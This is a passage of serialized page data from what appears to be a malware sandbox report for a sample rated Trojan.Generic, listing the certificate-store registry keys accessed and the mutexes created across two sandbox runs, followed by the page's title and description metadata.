,{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6840:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6840:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6840:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"SM0:6840:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"Local\\SM0:6840:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"SM0:6840:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"Local\\SM0:6840:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6840:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3236:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3236:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"Local\\SM0:3236:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"SM0:3236:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"SM0:3236:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3236:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2148:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"Local\\SM0:2148:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"SM0:2148:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"SM0:2148:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2148:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2148:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2684:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2684:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"Local\\SM0:2684:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"SM0:2684:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"SM0:2684:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2684:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2940:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"Local\\SM0:2940:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"SM0:2940:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"SM0:2940:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2940:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2940:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1888:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1888:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"Local\\SM0:1888:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"Local\\SM0:1888:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"SM0:1888:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1888:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7696:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7696:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"Local\\SM0:7696:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"Local\\SM0:7696:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"SM0:7696:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7696:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4008:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4008:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4008:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"SM0:4008:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"Local\\SM0:4008:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"Local\\SM0:4008:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3804:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3804:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3804:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"Local\\SM0:3804:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"SM0:3804:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"Local\\SM0:3804:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4024:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4024:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"Local\\SM0:4024:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"SM0:4024:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]}]}},"report_ids":{"sandbox_job_ids":["6a7ae3dfbc42cb5d98035ed8","6a7ae00513a61cfd850117e3"]}}}]]}] 2c:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 48a200216cda… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 48a200216cda…. Malware family: Trojan.Generic. Threat score 100/100. 8/24 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 48a200216cda… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 48a200216cda…. Malware family: Trojan.Generic. Threat score 100/100. 8/24 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 48a200216cda… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 48a200216cda…. Malware family: Trojan.Generic. Threat score 100/100. 8/24 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L6b","11",{}]] 32:null